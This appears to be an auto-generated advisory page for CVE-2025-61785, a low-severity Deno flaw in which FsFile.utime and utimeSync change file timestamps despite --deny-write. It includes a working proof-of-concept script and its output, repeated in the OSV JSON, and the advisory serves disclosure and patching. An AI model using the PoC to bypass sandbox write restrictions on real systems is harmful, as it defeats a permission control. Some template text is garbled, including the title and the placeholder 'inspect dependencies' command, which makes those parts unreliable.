CVE-2025-61785: Deno Deno's --deny-write Check Does Not Vulnerability

LOW
Advisory Identifier: GHSA-vg2r-rmgp-cgqj
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CVSS 3.3
CWE-266
Published
Advisory Summary

CVE-2025-61785 is a LOW (CVSS 3.3) deno's --deny-write check does not vulnerability (CWE-266: Incorrect Privilege Assignment) affecting Deno libraries in the crates.io ecosystem. The issue involves deno's --deny-write check does not prevent permission bypass. Remediation is available by upgrading affected packages to version 2.5.3.

CVE-2025-61785 at a Glance

CVE Identifier CVE-2025-61785
GHSA Identifier GHSA-vg2r-rmgp-cgqj
Severity LOW
CVSS v3.1 Base Score 3.3
CWE Classification CWE-266: Incorrect Privilege Assignment
Affected Product Deno
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 3.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2025-61785

To remediate this vulnerability, upgrade all affected Deno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

deno fixed: 2.5.3 
Upgrade deno to 2.5.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for deno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-61785, inspect your project dependencies for Deno:

inspect dependencies for deno

Analyze the terminal output to locate any version of Deno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.5.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-266: Incorrect Privilege Assignment, where a product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor. In Deno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. ### PoC Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test.txt ``` ```js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false}); const fileInfoBefore = await file.stat(); await file.utime(new Date("2000-01-01"), new Date("2000-01-01")); const fileInfoAfter = await file.stat(); console.log(`BEFORE (utime)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utime)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) } // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false}); const fileInfoBefore = file.statSync(); file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01")); const fileInfoAfter = file.statSync(); console.log(`BEFORE (utimeSync)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utimeSync)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) } // https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); } // https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); } async function main(){ const poc = Deno.args[0] || 1; const status = await Deno.permissions.query({ name: "write", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } } main() ``` Output: - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1` ``` PermissionStatus { state: "denied", onchange: null } BEFORE (utime) 2025 2025 AFTER (utime) 2000 2000 ``` - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2` ``` PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001 ``` - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... ``` - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... ``` ### Impact Permission model bypass

CVE-2025-61785 Affected Deno Versions

1 component(s)
Fixed Versions:
2.5.3
Product / Package Ecosystem Affected Versions Fixed Version
deno
 crates.io
< 2.5.3
2.5.3

References

GitHub Advisory / Wiki ADVISORY
https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj
NVD — CVE-2025-61785 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-61785
Deno Source Repository REPOSITORY
https://github.com/denoland/deno/pull/30872
Security Fix Commit FIX COMMIT
https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b
Deno Source Repository REPOSITORY
https://github.com/denoland/deno
Deno Release RELEASE
https://github.com/denoland/deno/releases/tag/v2.2.15
Deno Release RELEASE
https://github.com/denoland/deno/releases/tag/v2.5.3

Frequently Asked Questions

What is CVE-2025-61785?
CVE-2025-61785 is a security vulnerability in Deno involving Deno's --deny-write check does not prevent permission bypass under CWE-266: Incorrect Privilege Assignment.
Which Deno versions are affected?
Affected versions include releases prior to 2.5.3 across affected packages: deno.
What version fixes CVE-2025-61785?
Upgrading to 2.5.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is deno affected?
Yes, deno is affected in releases prior to 2.5.3. Upgrade your dependency to 2.5.3 or later.
What is the CVSS score of CVE-2025-61785?
CVE-2025-61785 has a CVSS v3.1 base score of 3.3 (LOW) with vector string CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2025-61785?
CVE-2025-61785 is classified under CWE-266: Incorrect Privilege Assignment (A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.).
How can I check crates.io dependencies for CVE-2025-61785?
Run the dependency tree command: 'inspect dependencies for deno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vg2r-rmgp-cgqj",
  "modified" : "2025-10-13T15:17:42Z",
  "published" : "2025-10-07T22:36:36Z",
  "aliases" : [ "CVE-2025-61785" ],
  "summary" : "Deno's --deny-write check does not prevent permission bypass",
  "details" : "### Summary\n\n`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.\n\nIt's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).\n\nSimilar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test.txt\n```\n\n```js\n// touch test.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = await file.stat();\n    \n    await file.utime(new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n    \n    const fileInfoAfter = await file.stat();\n    \n    \n    console.log(`BEFORE (utime)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utime)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = file.statSync();\n    \n    file.utimeSync(new Date(\"2001-01-01\"), new Date(\"2001-01-01\"));\n    \n    const fileInfoAfter = file.statSync();\n    \n    \n    console.log(`BEFORE (utimeSync)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utimeSync)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3\nasync function poc3(){\n    // not executed\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4\nfunction poc4(){\n    // not executed\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"write\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\nOutput:\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utime)\n2025\n2025\nAFTER (utime)\n2000\n2000\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utimeSync)\n2000\n2000\nAFTER (utimeSync)\n2001\n2001\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n               ^\n    ...\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n         ^\n    ...\n```\n\n\n### Impact\n\nPermission model bypass",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.5.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-61785"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/pull/30872"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/denoland/deno"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/releases/tag/v2.2.15"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/releases/tag/v2.5.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-266" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-07T22:36:36Z",
    "nvd_published_at" : "2025-10-08T01:15:32Z"
  }
}